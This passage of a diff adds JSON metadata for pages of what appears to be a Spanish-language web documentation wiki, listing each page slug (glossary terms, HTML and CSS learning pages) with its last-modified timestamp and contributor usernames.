+  },
+  "Glossary/Keyword": {
+    "modified": "2020-05-04T10:31:29.902Z",
+    "contributors": [
+      "jorgeCaster",
+      "blanchart",
+      "DaniNz"
+    ]
+  },
+  "Glossary/LGPL": {
+    "modified": "2019-03-18T21:43:48.377Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Long_task": {
+    "modified": "2020-08-08T01:38:15.029Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/MVC": {
+    "modified": "2020-01-31T17:55:57.978Z",
+    "contributors": [
+      "deit",
+      "IsaacAlvrt"
+    ]
+  },
+  "Glossary/Metadato": {
+    "modified": "2019-03-18T21:19:04.572Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/MitM": {
+    "modified": "2019-03-18T21:25:35.556Z",
+    "contributors": [
+      "lcastrosaez"
+    ]
+  },
+  "Glossary/Mixin": {
+    "modified": "2019-03-23T22:37:38.011Z",
+    "contributors": [
+      "josepaez2",
+      "raecillacastellana",
+      "kramery"
+    ]
+  },
+  "Glossary/Mobile_First": {
+    "modified": "2019-07-02T17:22:58.448Z",
+    "contributors": [
+      "JuanMaRuiz"
+    ]
+  },
+  "Glossary/Mozilla_Firefox": {
+    "modified": "2019-03-23T22:06:36.476Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Glossary/Método": {
+    "modified": "2020-07-21T21:37:11.109Z",
+    "contributors": [
+      "Assael02",
+      "Davids-Devel"
+    ]
+  },
+  "Glossary/Node": {
+    "modified": "2019-05-17T13:24:16.608Z",
+    "contributors": [
+      "GUEROZ",
+      "untilbit",
+      "klez"
+    ]
+  },
+  "Glossary/Node.js": {
+    "modified": "2020-10-24T17:01:45.516Z",
+    "contributors": [
+      "oism28",
+      "rlopezAyala",
+      "malonson",
+      "migdonio1"
+    ]
+  },
+  "Glossary/Node/DOM": {
+    "modified": "2019-03-23T22:27:35.877Z",
+    "contributors": [
+      "malonson"
+    ]
+  },
+  "Glossary/Nombre_de_dominio": {
+    "modified": "2019-03-18T21:19:21.120Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Nombre_de_encabezado_prohibido": {
+    "modified": "2019-03-23T22:02:11.147Z",
+    "contributors": [
+      "Luiggy",
+      "tonialfaro"
+    ]
+  },
+  "Glossary/Null": {
+    "modified": "2019-03-23T22:58:02.167Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/Numero": {
+    "modified": "2019-03-23T22:58:03.851Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/OOP": {
+    "modified": "2019-03-18T21:19:20.278Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/Objecto": {
+    "modified": "2019-03-23T22:58:05.221Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/Operador": {
+    "modified": "2019-03-23T22:53:20.989Z",
+    "contributors": [
+      "germanfr"
+    ]
+  },
+  "Glossary/Operando": {
+    "modified": "2020-09-05T17:33:42.415Z",
+    "contributors": [
+      "brayan-orellanos"
+    ]
+  },
+  "Glossary/PHP": {
+    "modified": "2020-05-07T14:37:16.100Z",
+    "contributors": [
+      "pascual143"
+    ]
+  },
+  "Glossary/POP": {
+    "modified": "2020-04-18T03:21:04.687Z",
+    "contributors": [
+      "itrjwyss"
+    ]
+  },
+  "Glossary/Parse": {
+    "modified": "2020-12-05T08:25:54.330Z",
+    "contributors": [
+      "StripTM"
+    ]
+  },
+  "Glossary/Pila_llamadas": {
+    "modified": "2020-04-26T12:00:35.332Z",
+    "contributors": [
+      "l1oret"
+    ]
+  },
+  "Glossary/Polyfill": {
+    "modified": "2019-03-18T21:24:24.118Z",
+    "contributors": [
+      "viabadia"
+    ]
+  },
+  "Glossary/Port": {
+    "modified": "2020-04-18T03:24:57.722Z",
+    "contributors": [
+      "itrjwyss",
+      "malonson"
+    ]
+  },
+  "Glossary/Preflight_peticion": {
+    "modified": "2019-03-18T21:29:47.773Z",
+    "contributors": [
+      "daviddelamo"
+    ]
+  },
+  "Glossary/Preprocesador_CSS": {
+    "modified": "2019-03-23T22:02:54.782Z",
+    "contributors": [
+      "ealch",
+      "velizluisma"
+    ]
+  },
+  "Glossary/Primitivo": {
+    "modified": "2020-09-17T22:06:17.504Z",
+    "contributors": [
+      "Nachec",
+      "cocososo",
+      "abaracedo",
+      "Cleon"
+    ]
+  },
+  "Glossary/Progressive_Enhancement": {
+    "modified": "2019-07-07T08:35:50.920Z",
+    "contributors": [
+      "JuanMaRuiz"
+    ]
+  },
+  "Glossary/Promise": {
+    "modified": "2019-03-18T21:18:47.852Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/Protocol": {
+    "modified": "2020-06-22T04:02:41.549Z",
+    "contributors": [
+      "Maose",
+      "itrjwyss",
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/Prototype": {
+    "modified": "2019-03-28T18:50:47.544Z",
+    "contributors": [
+      "maruskina"
+    ]
+  },
+  "Glossary/Prototype-based_programming": {
+    "modified": "2020-08-25T19:45:44.389Z",
+    "contributors": [
+      "duduindo",
+      "paolazaratem"
+    ]
+  },
+  "Glossary/Pseudo-clase": {
+    "modified": "2019-03-23T22:38:49.143Z",
+    "contributors": [
+      "VictorAbdon"
+    ]
+  },
+  "Glossary/Pseudocódigo": {
+    "modified": "2019-03-18T21:19:15.497Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Public-key_cryptography": {
+    "modified": "2019-03-18T21:18:41.396Z",
+    "contributors": [
+      "GCF7"
+    ]
+  },
+  "Glossary/Python": {
+    "modified": "2019-01-17T03:26:06.615Z",
+    "contributors": [
+      "Guzmanr1",
+      "ax16mr"
+    ]
+  },
+  "Glossary/REST": {
+    "modified": "2019-03-18T21:19:06.376Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/RGB": {
+    "modified": "2019-03-18T21:19:01.657Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/RSS": {
+    "modified": "2019-03-18T21:43:45.312Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/Recursión": {
+    "modified": "2019-03-18T21:19:02.064Z",
+    "contributors": [
+      "PabloDeTorre",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/Reflow": {
+    "modified": "2020-11-16T21:27:00.470Z",
+    "contributors": [
+      "ccamiloo"
+    ]
+  },
+  "Glossary/Regular_expression": {
+    "modified": "2019-03-23T22:27:50.421Z",
+    "contributors": [
+      "lurkinboss81",
+      "malonson"
+    ]
+  },
+  "Glossary/Responsive_web_design": {
+    "modified": "2019-03-18T21:36:04.998Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Glossary/Ruby": {
+    "modified": "2019-03-18T21:18:51.137Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/SCV": {
+    "modified": "2019-03-18T21:19:21.440Z",
+    "contributors": [
+      "carlosCharlie",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/SEO": {
+    "modified": "2019-03-23T22:38:01.994Z",
+    "contributors": [
+      "carlossuarez"
+    ]
+  },
+  "Glossary/SGML": {
+    "modified": "2019-03-18T21:43:11.251Z",
+    "contributors": [
+      "Undigon",
+      "cawilff"
+    ]
+  },
+  "Glossary/SIMD": {
+    "modified": "2019-03-18T21:18:44.939Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/SISD": {
+    "modified": "2019-03-18T21:18:56.313Z",
+    "contributors": [
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/SLD": {
+    "modified": "2019-04-30T13:59:51.577Z",
+    "contributors": [
+      "manfredosanchez"
+    ]
+  },
+  "Glossary/SMTP": {
+    "modified": "2020-04-18T03:31:14.904Z",
+    "contributors": [
+      "itrjwyss"
+    ]
+  },
+  "Glossary/SQL": {
+    "modified": "2019-03-18T21:18:56.658Z",
+    "contributors": [
+      "diegorhs"
+    ]
+  },
+  "Glossary/SVG": {
+    "modified": "2019-03-18T21:35:52.789Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Glossary/SVN": {
+    "modified": "2019-03-18T21:19:01.509Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/Scope": {
+    "modified": "2019-07-02T17:59:48.762Z",
+    "contributors": [
+      "Angel10050"
+    ]
+  },
+  "Glossary/Sentencias": {
+    "modified": "2019-03-23T22:57:58.260Z",
+    "contributors": [
+      "abaracedo",
+      "Cleon"
+    ]
+  },
+  "Glossary/Sincronico": {
+    "modified": "2020-11-14T06:15:42.366Z",
+    "contributors": [
+      "Yuunichi"
+    ]
+  },
+  "Glossary/Sistema_gestion_contenidos": {
+    "modified": "2020-05-23T07:15:12.062Z",
+    "contributors": [
+      "l1oret"
+    ]
+  },
+  "Glossary/Sloppy_mode": {
+    "modified": "2020-08-31T05:32:49.321Z",
+    "contributors": [
+      "Nachec",
+      "dcarmal-dayvo"
+    ]
+  },
+  "Glossary/Slug": {
+    "modified": "2019-03-18T21:43:51.297Z",
+    "contributors": [
+      "LSanchez697"
+    ]
+  },
+  "Glossary/String": {
+    "modified": "2019-03-23T22:58:03.956Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/Symbol": {
+    "modified": "2019-03-23T22:57:59.274Z",
+    "contributors": [
+      "Cleon"
+    ]
+  },
+  "Glossary/Symmetric-key_cryptography": {
+    "modified": "2019-03-18T21:18:28.720Z",
+    "contributors": [
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/TCP": {
+    "modified": "2020-04-18T03:19:23.119Z",
+    "contributors": [
+      "itrjwyss",
+      "DaniNz"
+    ]
+  },
+  "Glossary/Tag": {
+    "modified": "2020-05-04T10:24:41.308Z",
+    "contributors": [
+      "jorgeCaster",
+      "DaniNz"
+    ]
+  },
+  "Glossary/TextoCifrado": {
+    "modified": "2019-03-18T21:19:21.003Z",
+    "contributors": [
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/TextoSimple": {
+    "modified": "2019-03-18T21:19:20.138Z",
+    "contributors": [
+      "sergiomgm",
+      "GCF7"
+    ]
+  },
+  "Glossary/Three_js": {
+    "modified": "2020-11-09T17:44:33.436Z",
+    "contributors": [
+      "Plumas"
+    ]
+  },
+  "Glossary/Tipado_dinámico": {
+    "modified": "2020-05-04T14:10:14.107Z",
+    "contributors": [
+      "Caav98"
+    ]
+  },
+  "Glossary/Tipificación_estática": {
+    "modified": "2019-11-22T03:17:09.186Z",
+    "contributors": [
+      "HugolJumex"
+    ]
+  },
+  "Glossary/Truthy": {
+    "modified": "2019-03-18T21:45:50.903Z",
+    "contributors": [
+      "AlePerez92",
+      "VlixesItaca",
+      "juandata"
+    ]
+  },
+  "Glossary/Type": {
+    "modified": "2019-03-18T21:19:01.358Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/URI": {
+    "modified": "2019-03-18T21:33:53.970Z",
+    "contributors": [
+      "DaniNz"
+    ]
+  },
+  "Glossary/URL": {
+    "modified": "2020-09-05T02:39:54.712Z",
+    "contributors": [
+      "Nachec",
+      "BubuAnabelas",
+      "Jabi"
+    ]
+  },
+  "Glossary/UTF-8": {
+    "modified": "2020-08-28T17:54:39.004Z",
+    "contributors": [
+      "Nachec",
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/UX": {
+    "modified": "2020-11-10T01:47:49.876Z",
+    "contributors": [
+      "rockoldo"
+    ]
+  },
+  "Glossary/Unicode": {
+    "modified": "2020-08-28T17:48:20.454Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/Validador": {
+    "modified": "2019-03-18T21:19:01.934Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie",
+      "sergiomgm"
+    ]
+  },
+  "Glossary/Valor": {
+    "modified": "2020-09-01T08:20:32.500Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/Variable": {
+    "modified": "2020-09-01T08:00:19.523Z",
+    "contributors": [
+      "Nachec",
+      "Oscarloray"
+    ]
+  },
+  "Glossary/Vendor_Prefix": {
+    "modified": "2019-03-18T21:21:31.446Z",
+    "contributors": [
+      "Carlos_Gutierrez"
+    ]
+  },
+  "Glossary/Viewport": {
+    "modified": "2019-07-22T14:35:59.639Z",
+    "contributors": [
+      "EBregains",
+      "ffcc"
+    ]
+  },
+  "Glossary/WCAG": {
+    "modified": "2019-03-18T21:19:06.839Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/WHATWG": {
+    "modified": "2019-03-18T21:43:10.212Z",
+    "contributors": [
+      "cawilff"
+    ]
+  },
+  "Glossary/WebKit": {
+    "modified": "2019-03-18T21:43:49.861Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/WebSockets": {
+    "modified": "2019-03-23T22:10:09.047Z",
+    "contributors": [
+      "spachecojimenez"
+    ]
+  },
+  "Glossary/WebVTT": {
+    "modified": "2020-08-13T17:05:43.218Z",
+    "contributors": [
+      "Pablo-No"
+    ]
+  },
+  "Glossary/World_Wide_Web": {
+    "modified": "2020-07-07T13:22:38.798Z",
+    "contributors": [
+      "pauli.rodriguez.c",
+      "camsa",
+      "SphinxKnight",
+      "r2cris",
+      "sergio_p_d"
+    ]
+  },
+  "Glossary/Wrapper": {
+    "modified": "2019-03-18T21:18:59.254Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/XForm": {
+    "modified": "2019-03-23T22:15:44.959Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/XML": {
+    "modified": "2019-03-18T21:43:43.021Z",
+    "contributors": [
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/application_context": {
+    "modified": "2019-03-23T22:22:51.795Z",
+    "contributors": [
+      "ekros"
+    ]
+  },
+  "Glossary/cacheable": {
+    "modified": "2019-10-03T19:16:28.937Z",
+    "contributors": [
+      "htmike"
+    ]
+  },
+  "Glossary/challenge": {
+    "modified": "2019-03-23T22:03:38.845Z",
+    "contributors": [
+      "_deiberchacon"
+    ]
+  },
+  "Glossary/character_encoding": {
+    "modified": "2019-03-18T21:19:17.489Z",
+    "contributors": [
+      "PabloDeTorre",
+      "carlosCharlie"
+    ]
+  },
+  "Glossary/coercion": {
+    "modified": "2020-02-29T16:57:08.213Z",
+    "contributors": [
+      "frankynztein"
+    ]
+  },
+  "Glossary/compile_time": {
+    "modified": "2020-12-05T08:34:39.507Z",
+    "contributors": [
+      "StripTM"
+    ]
+  },
+  "Glossary/conjunto_de_caracteres": {
+    "modified": "2020-08-28T18:09:05.836Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/elemento": {
+    "modified": "2019-01-16T19:38:18.287Z",
+    "contributors": [
+      "BubuAnabelas",
+      "HerberWest"
+    ]
+  },
+  "Glossary/event": {
+    "modified": "2019-03-18T21:19:03.177Z",
+    "contributors": [
+      "PabloDeTorre"
+    ]
+  },
+  "Glossary/gif": {
+    "modified": "2019-03-18T21:44:23.965Z",
+    "contributors": [
+      "lajaso",
+      "ferlopezcarr"
+    ]
+  },
+  "Glossary/https": {
+    "modified": "2019-03-18T21:20:16.521Z",
+    "contributors": [
+      "mikelmg",
+      "BubuAnabelas"
+    ]
+  },
+  "Glossary/jQuery": {
+    "modified": "2019-03-23T22:02:49.153Z",
+    "contributors": [
+      "yancarq",
+      "velizluisma"
+    ]
+  },
+  "Glossary/jpeg": {
+    "modified": "2019-03-23T22:15:35.380Z",
+    "contributors": [
+      "gparra989"
+    ]
+  },
+  "Glossary/miga-de-pan": {
+    "modified": "2020-02-02T10:51:21.098Z",
+    "contributors": [
+      "blanchart"
+    ]
+  },
+  "Glossary/propiedad": {
+    "modified": "2020-08-28T18:32:40.804Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Glossary/seguro": {
+    "modified": "2019-03-18T21:18:23.904Z",
+    "contributors": [
+      "SackmannDV"
+    ]
+  },
+  "Glossary/undefined": {
+    "modified": "2019-03-23T22:58:03.590Z",
+    "contributors": [
+      "teoli",
+      "Cleon"
+    ]
+  },
+  "Guía_para_el_desarrollador_de_agregados_para_Firefox": {
+    "modified": "2019-01-16T14:29:03.747Z",
+    "contributors": [
+      "teoli",
+      "Sheppy",
+      "Eloy"
+    ]
+  },
+  "Guía_para_el_desarrollador_de_agregados_para_Firefox/Introducción_a_las_extensiones": {
+    "modified": "2019-03-24T00:04:44.724Z",
+    "contributors": [
+      "christopherccg",
+      "Sheppy",
+      "Eloy"
+    ]
+  },
+  "Guía_para_la_migración_a_catálogo": {
+    "modified": "2019-01-16T15:34:19.890Z",
+    "contributors": [
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "HTML/Elemento/datalist": {
+    "modified": "2019-01-16T19:13:20.868Z",
+    "contributors": [
+      "Darkgyro",
+      "teoli"
+    ]
+  },
+  "HTML/Elemento/form": {
+    "modified": "2019-01-16T21:24:44.882Z",
+    "contributors": [
+      "eincioch"
+    ]
+  },
+  "HTML/Elemento/section": {
+    "modified": "2019-03-23T23:08:59.333Z",
+    "contributors": [
+      "Raulpascual2",
+      "carllewisc",
+      "GeorgeAviateur"
+    ]
+  },
+  "HTML/HTML5": {
+    "modified": "2020-05-16T09:08:08.720Z",
+    "contributors": [
+      "jonasdamher",
+      "SphinxKnight",
+      "anibalymariacantantes60",
+      "AzulMartin",
+      "264531666",
+      "fracp",
+      "damianed",
+      "alfredotemiquel",
+      "rossettistone",
+      "carlossuarez",
+      "teoli",
+      "JosueMolina",
+      "Pablo_Ivan",
+      "welm",
+      "bicentenario",
+      "jesusruiz",
+      "pierre_alfonso",
+      "pitufo_cabron",
+      "cesar_ortiz_elPatox",
+      "inma_610",
+      "vigia122",
+      "StripTM",
+      "deimidis",
+      "Izel"
+    ]
+  },
+  "HTML/HTML5/Forms_in_HTML5": {
+    "modified": "2019-03-24T00:17:58.788Z",
+    "contributors": [
+      "DGarCam",
+      "teoli",
+      "prieto.any",
+      "deibyod",
+      "Ces",
+      "hugohabel",
+      "deimidis"
+    ]
+  },
+  "HTML/HTML5/Formularios_en_HTML5": {
+    "modified": "2019-03-24T00:07:51.068Z",
+    "contributors": [
+      "inma_610",
+      "Izel",
+      "StripTM",
+      "deimidis"
+    ]
+  },
+  "HTML/HTML5/HTML5_Parser": {
+    "modified": "2019-03-24T00:07:09.448Z",
+    "contributors": [
+      "teoli",
+      "RickieesES",
+      "inma_610",
+      "StripTM",
+      "juanb",
+      "Izel"
+    ]
+  },
+  "HTML/HTML5/HTML5_lista_elementos": {
+    "modified": "2020-01-21T22:36:54.135Z",
+    "contributors": [
+      "losfroger",
+      "cocoletzimata",
+      "Duque61",
+      "raecillacastellana",
+      "maymaury",
+      "squidjam",
+      "on3_g"
+    ]
+  },
+  "HTML/HTML5/Introducción_a_HTML5": {
+    "modified": "2019-03-24T00:05:36.058Z",
+    "contributors": [
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "HTML/HTML5/Validacion_de_restricciones": {
+    "modified": "2020-08-11T08:06:04.309Z",
+    "contributors": [
+      "gerardo750711",
+      "israel-munoz"
+    ]
+  },
+  "Herramientas": {
+    "modified": "2019-01-16T13:52:37.109Z",
+    "contributors": [
+      "teoli",
+      "StripTM",
+      "inma_610",
+      "camilourd"
+    ]
+  },
+  "How_to_create_a_DOM_tree": {
+    "modified": "2019-03-23T23:22:26.711Z",
+    "contributors": [
+      "carrillog.luis"
+    ]
+  },
+  "Incrustando_Mozilla/Comunidad": {
+    "modified": "2019-03-23T22:39:14.279Z",
+    "contributors": [
+      "vamm1981"
+    ]
+  },
+  "IndexedDB": {
+    "modified": "2019-03-18T21:11:08.379Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "semptrion",
+      "CHORVAT",
+      "inma_610"
+    ]
+  },
+  "Instalación_de_motores_de_búsqueda_desde_páginas_web": {
+    "modified": "2019-01-16T16:13:53.798Z",
+    "contributors": [
+      "teoli",
+      "Nukeador",
+      "Jorolo"
+    ]
+  },
+  "Learn": {
+    "modified": "2020-10-06T09:14:51.258Z",
+    "contributors": [
+      "blanchart",
+      "Nachec",
+      "Maose",
+      "methodx",
+      "npcsayfail",
+      "GilbertoHernan",
+      "ivanagui2",
+      "svarlamov",
+      "clarii",
+      "hamfree",
+      "raul782",
+      "astrapotro",
+      "karlalhdz",
+      "sillo01",
+      "carlosmartinezfyd",
+      "carlo.romero1991",
+      "nelruk",
+      "merol-dad",
+      "Pablo_Ivan",
+      "Da_igual",
+      "jhapik",
+      "cgsramirez",
+      "PedroFumero",
+      "Yanlu",
+      "Jenny-T-Type",
+      "Jeremie"
+    ]
+  },
+  "Learn/Accessibility": {
+    "modified": "2020-07-16T22:39:56.491Z",
+    "contributors": [
+      "adiccb",
+      "WilsonIsAliveClone",
+      "mikelmg"
+    ]
+  },
+  "Learn/Accessibility/Accessibility_troubleshooting": {
+    "modified": "2020-09-27T07:55:30.040Z",
+    "contributors": [
+      "UOCccorcoles",
+      "adiccb"
+    ]
+  },
+  "Learn/Accessibility/CSS_and_JavaScript": {
+    "modified": "2020-09-25T04:23:21.491Z",
+    "contributors": [
+      "UOCccorcoles"
+    ]
+  },
+  "Learn/Accessibility/HTML": {
+    "modified": "2020-09-24T10:25:02.383Z",
+    "contributors": [
+      "UOCccorcoles",
+      "diegocastillogz",
+      "jeronimonunez",
+      "WilsonIsAliveClone"
+    ]
+  },
+  "Learn/Accessibility/Mobile": {
+    "modified": "2020-07-16T22:40:29.507Z",
+    "contributors": [
+      "Adorta4",
+      "mikelmg"
+    ]
+  },
+  "Learn/Accessibility/Qué_es_la_accesibilidad": {
+    "modified": "2020-07-16T22:40:03.734Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/Aprender_y_obtener_ayuda": {
+    "modified": "2020-09-02T21:15:54.167Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Learn/CSS": {
+    "modified": "2020-07-16T22:25:33.047Z",
+    "contributors": [
+      "welm",
+      "javierpolit",
+      "TomatoSenpai",
+      "andrpueb",
+      "Aglezabad",
+      "RaulHernandez"
+    ]
+  },
+  "Learn/CSS/Building_blocks": {
+    "modified": "2020-10-02T00:43:44.395Z",
+    "contributors": [
+      "johanfvn",
+      "capitanzealot",
+      "Enesimus",
+      "SphinxKnight",
+      "inwm",
+      "edixonMoreno",
+      "rayrojas",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Cascada_y_herencia": {
+    "modified": "2020-09-10T08:32:11.848Z",
+    "contributors": [
+      "renatico",
+      "UOCccorcoles",
+      "Enesimus",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Contenido_desbordado": {
+    "modified": "2020-09-07T07:36:40.422Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Depurar_el_CSS": {
+    "modified": "2020-10-15T22:26:23.448Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Dimensionar_elementos_en_CSS": {
+    "modified": "2020-07-16T22:29:20.704Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/El_modelo_de_caja": {
+    "modified": "2020-09-06T15:07:38.107Z",
+    "contributors": [
+      "UOCccorcoles",
+      "capitanzealot",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Fondos_y_bordes": {
+    "modified": "2020-09-06T17:26:53.330Z",
+    "contributors": [
+      "UOCccorcoles",
+      "psotresc",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Imágenes_medios_y_elementos_de_formulario": {
+    "modified": "2020-07-16T22:29:24.707Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Manejando_diferentes_direcciones_de_texto": {
+    "modified": "2020-07-31T14:48:40.359Z",
+    "contributors": [
+      "AndrewSKV",
+      "Enesimus"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selectores_CSS": {
+    "modified": "2020-09-06T12:41:53.412Z",
+    "contributors": [
+      "UOCccorcoles",
+      "VichoReyes",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selectores_CSS/Combinadores": {
+    "modified": "2020-09-06T14:09:26.839Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos": {
+    "modified": "2020-09-06T13:58:30.411Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_atributos": {
+    "modified": "2020-09-06T13:34:27.599Z",
+    "contributors": [
+      "UOCccorcoles",
+      "psotresc",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_tipo_clase_e_ID": {
+    "modified": "2020-09-06T13:13:47.580Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Styling_tables": {
+    "modified": "2020-09-14T09:45:44.143Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "chrisdavidmills",
+      "otheym",
+      "wbamberg",
+      "IXTRUnai"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Valores_y_unidades_CSS": {
+    "modified": "2020-09-07T09:35:00.652Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/CSS_layout": {
+    "modified": "2020-07-31T15:01:33.453Z",
+    "contributors": [
+      "AndrewSKV",
+      "untilbit",
+      "pantuflo",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Diseño_receptivo": {
+    "modified": "2020-07-16T22:27:27.257Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Flexbox": {
+    "modified": "2020-09-15T16:36:01.723Z",
+    "contributors": [
+      "UOCccorcoles",
+      "nachopo",
+      "chrisdavidmills",
+      "editorUOC",
+      "facundogqr",
+      "felixgomez",
+      "LuisL",
+      "amaiafilo",
+      "spachecojimenez"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Floats": {
+    "modified": "2020-10-16T12:52:48.804Z",
+    "contributors": [
+      "zuruckzugehen",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Flujo_normal": {
+    "modified": "2020-07-16T22:27:20.728Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Grids": {
+    "modified": "2020-07-16T22:26:58.625Z",
+    "contributors": [
+      "editorUOC",
+      "chrisdavidmills",
+      "Luis_Calvo"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Introducción": {
+    "modified": "2020-09-15T13:39:37.384Z",
+    "contributors": [
+      "UOCccorcoles",
+      "AndrewSKV",
+      "editorUOC",
+      "Jhonaz"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Positioning": {
+    "modified": "2020-07-16T22:26:42.380Z",
+    "contributors": [
+      "fr3dth"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Soporte_a_navegadores_antiguos": {
+    "modified": "2020-07-16T22:27:17.501Z",
+    "contributors": [
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/First_steps": {
+    "modified": "2020-07-16T22:27:38.921Z",
+    "contributors": [
+      "GiuMagnani",
+      "Enesimus",
+      "cinthylli",
+      "BiP00",
+      "jesquintero"
+    ]
+  },
+  "Learn/CSS/First_steps/Comenzando_CSS": {
+    "modified": "2020-08-31T14:16:45.193Z",
+    "contributors": [
+      "UOCccorcoles",
+      "AndrewSKV",
+      "tito-ramirez",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/First_steps/Como_funciona_CSS": {
+    "modified": "2020-09-18T07:47:46.630Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/First_steps/Como_se_estructura_CSS": {
+    "modified": "2020-08-31T16:55:37.346Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/First_steps/Qué_es_CSS": {
+    "modified": "2020-10-15T22:25:30.119Z",
+    "contributors": [
+      "UOCccorcoles",
+      "Enesimus",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/First_steps/Usa_tu_nuevo_conocimiento": {
+    "modified": "2020-08-23T19:45:30.596Z",
+    "contributors": [
+      "capitanzealot",
+      "AndrewSKV",
+      "Enesimus"
+    ]
+  },
+  "Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension": {
+    "modified": "2020-07-16T22:28:11.693Z",
+    "contributors": [
+      "Creasick",
+      "Enesimus",
+      "javierpolit",
+      "DennisM"
+    ]
+  },
+  "Learn/CSS/Styling_text": {
+    "modified": "2020-07-16T22:25:57.799Z",
+    "contributors": [
+      "laatcode",
+      "wilton-cruz"
+    ]
+  },
+  "Learn/CSS/Styling_text/Fuentes_web": {
+    "modified": "2020-09-01T07:26:18.054Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/CSS/Styling_text/Fundamentals": {
+    "modified": "2020-09-18T08:01:18.738Z",
